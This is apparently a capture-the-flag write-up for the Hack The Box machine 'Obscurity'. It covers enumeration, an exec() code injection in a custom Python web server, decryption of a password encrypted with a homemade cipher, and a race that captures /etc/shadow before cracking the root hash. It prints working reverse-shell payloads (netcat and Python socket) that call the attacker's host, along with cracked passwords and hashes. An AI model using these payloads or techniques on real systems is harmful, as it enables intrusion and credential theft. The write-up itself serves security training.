< back

RHOST: 10.10.10.168

LHOST: xx.xx.xx.xx

Initial Enumeration

As always started off with an nmap scan

root@kali:~# nmap -sV 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-08 02:51 EST
Nmap scan report for 10.10.10.168
Host is up (0.31s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/8%Time=5E3E68B0%P=x86_64-pc-linux-gnu%r(Get
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.59 seconds

There's a service on port 8080 returning HTTP data, let's take a look at it.

Screenshot

'Security through Obscurity' 😹 Classic. Remember kids, security can never be achieved through obscurity. Seems the box is running a custom written webserver, and the authors have helpfully told us there's a file called SuperSecureServer.py somewhere on the server.

Screenshot

I used wfuzz to try and brute force the location of this file.

root@kali:~# wfuzz --sc 200,301,302 -w /usr/share/wordlists/dirb/common.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 4614

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                       
===================================================================

000001245:   200        170 L    498 W    5892 Ch     "develop"                                                                                                     
000002321:   404        6 L      14 W     178 Ch      "livezilla"                                                                                                   
^C
Finishing pending requests...
...
root@kali:~# 

Sweet, we found it at http://10.10.10.168:8080/develop/SuperSecureServer.py.

Speaking parseltongue

Let's grab the file and have a peek at the source.


root@kali:~# cat SuperSecureServer.py 
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("
").split("
")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Time to run this code on my localhost and do some debugging to see what can be exploited. I added a

server = Server('0.0.0.0', 8080)
server.listen()

at the end of the file, a few print() statements and began debugging while sending the server requests. First off I tried some path traversal attacks but this didn't yield anything. Then I looked a bit closer at the logic where the server responded with the requested path/file and something stood out.

def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = "output = 'Document: {}'" # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?
        cwd = os.path.dirname(os.path.realpath(__file__))
        docRoot = os.path.join(cwd, docRoot)

A wild exec statement using unsanitized user input from path (the request path) as part of the argument.

The path of our HTTP request will get inserted into the string info and then passed to the exec function. After playing around with the syntax needed to escape the single quotes within the info string I crafted a payload to create a reverse shell with netcat and tried it on my local server.

The request path payload:

x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x

This means info.format(path) outputs:

"output = 'Document: x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x'"

So our os.system call will be executed by exec.

HTTP GET http://localhost:8080/x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [xx.xx.xx.xx] 51260
# ^C

Alright it works locally, but when I tried it on the remotehost, it didn't work. The code passed straight through the exec statement and ran the logic for serving me a 404 error. I can't see any error output from the python program running on the remote, but I assumed that the system did not have the nc binary installed.

Time to change up my payload slightly. Since we know python is present on the remote system I'll just use python for my reverse shell. The context of the server runtime even has the os, subprocess and socket libs already imported so that makes my life slightly easy.

x';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xx.xx.xx.xx',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'x
Screenshot

Alright! We got our reverse shell connected as www-data. A bit more python-fu later and we get a fully interactive tty.

$ python3 -c 'import pty; pty.spawn("/bin/bash");'    
www-data@obscure:/$ ^Z
[1]+  Stopped                 nc -vnlp 8888
root@kali:~# stty raw -echo
root@kali:~# nc -vnlp 8888

www-data@obscure:/$ ls -lah /home
total 12K
drwxr-xr-x  3 root   root   4.0K Sep 24 22:09 .
drwxr-xr-x 24 root   root   4.0K Oct  3 15:52 ..
drwxr-xr-x  7 robert robert 4.0K Dec  2 09:53 robert
www-data@obscure:/$ 

Don't roll ur own encryption kids

Looks likely we need to pivot to robert to grab the user flag. Luckily his home dir has r/x permissions set so we can explore a bit.

www-data@obscure:/$ cd /home/robert
www-data@obscure:/home/robert$ ls -lah
total 60K
drwxr-xr-x 7 robert robert 4.0K Dec  2 09:53 .
drwxr-xr-x 3 root   root   4.0K Sep 24 22:09 ..
lrwxrwxrwx 1 robert robert    9 Sep 28 23:28 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3.7K Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4.0K Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4.0K Oct  3 16:02 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26 23:08 check.txt
drwxr-x--- 3 robert robert 4.0K Dec  2 09:53 .config
drwx------ 3 robert robert 4.0K Oct  3 22:42 .gnupg
drwxrwxr-x 3 robert robert 4.0K Oct  3 16:34 .local
-rw-rw-r-- 1 robert robert  185 Oct  4 15:01 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4 15:01 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2.5K Oct  4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25 14:12 user.txt
www-data@obscure:/home/robert$ 

I copied down the txt files, SuperSecureCrypt.py and BetterSSH/BetterSSH.py.

root@kali:/tmp# cat out.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# cat check.txt; echo
Encrypting this file with your key should result in out.txt, make sure your key is correct! 

root@kali:/tmp# cat passwordreminder.txt; echo
ÑÈÌÉàÙÁÑ鯷¿k
root@kali:/tmp#

Both out.txt and passwordreminder.txt are just unicode text files but not human readable. out.txt is apparently the contents of check.txt but encoded. Taking a look at SuperSecureCrypt.py we see that they've been encoded by a very simple cipher algorithm, here's the encrypt function.

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]                                                         
        newChr = ord(x)                                                              
        newChr = chr((newChr + ord(keyChr)) % 255)                                   
        encrypted += newChr                                                          
        keyPos += 1                                                                  
        keyPos = keyPos % keylen                                                     
    return encrypted           

In a few minutes, I wrote a reverse algo in an ipython notebook to extract the key.

In [71]: def getKeyOrd(o, c):
    ...:     return ord(o) + 255 - ord(c)
In [76]: pw = []

In [77]: for i in range(0, len(check)):
    ...:     pw.append(getKeyOrd(out[i], check[i]))

In [79]: ''.join([chr(x) for x in pw])
Out[79]: 'ŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧ'

And we got the key (the repeating string) ŠūŤŷŠŭţűŮŵŨŢŧ. Let's verify it then check the decoded contents of passwordreminder.txt.

root@kali:/tmp# python3 SuperSecureCrypt.py -i check.txt -o guh.txt -k 'ŠūŤŷŠŭţűŮŵŨŢŧ'
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file check.txt...
Encrypting...
Writing to guh.txt...
root@kali:/tmp# cat guh.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# cat out.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝá^CÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# python3 SuperSecureCrypt.py -d -i passwordreminder.txt -o guh.txt -k 'ŠūŤŷŠŭţűŮŵŨŢŧ'
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to guh.txt...
root@kali:/tmp# cat guh.txt 
SecThruObsFTW

Alright, we got robert's password in plaintext SecThruObsFTW. Let's ssh in and grab the user flag.

root@kali:~# ssh [email protected]
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.168' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
...
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7

watch [options] this

Now we should see if we can run anything with escalated priveleges.

robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Yup, we can use sudo to run a python script BetterSSH.py which we had seen earlier. Let's have a look at the source.

root@kali:/tmp# cat BetterSSH.py 
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

So the script prompts for a user and password, then hashes the supplied password and compares it to the one in /etc/shadow. If it matches it then runs commands as that user with sudo -u as seen in the last logic block.

Since the python script runs as root, my first thought was to try to tack a command onto the end to the effect of sudo -u robert whoami; whoami which should output robert then run the second whoami command as root and output root. However this isn't possible in this case.

robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py 
Enter username: robert
Enter password: SecThruObsFTW
Authed!
robert@Obscure$ whoami; whoami
Output: 
Error: sudo: whoami;: command not found

After some reading up in the docs I discovered subprocess.Popen needs to be called with a shell=True argument in order to achieve something like this. I thought about it some more then it dawned on me, the script reads /etc/shadow and even dumps it out into a file (temporarily). For 0.1s the contents of /etc/shadow is in a randomly named file inside /tmp/SSH. Now there's no way for me to be quick enough to find the file and cat the contents in the given time, so I crafted a command using the watch utility that ran every 0.1s.

robert@obscure:/tmp/SSH$ watch -d=cumulative -n 0.1 'for f in $(ls); do cat $f >> /tmp/SSH/output.txt; done'

I then ran the BetterSSH.py script again (don't even need to supply it with any valid credentials, it will read and dump the /etc/shadow contents anyway) and boom! I had the hashed password for root.

robert@obscure:~$ ls /tmp/SSH/
output.txt
robert@obscure:~$ cat /tmp/SSH/output.txt 
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7




robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7



robert@obscure:~$ su root

Now I just need to ask my friend john for a bit of help.

root@kali:~# echo '$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1' > obs_root_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt obs_root_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (?)
1g 0:00:00:00 DONE (2020-02-08 07:56) 5.263g/s 2694p/s 2694c/s 2694C/s 123456..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we cracked the password mercedes, all that's left is to login as root and grab the flag.

robert@obscure:~$ su root
Password: 
root@obscure:/home/robert# cd /root
root@obscure:~# cat root.txt 
512fd4429f33a113a44d5acde23609e3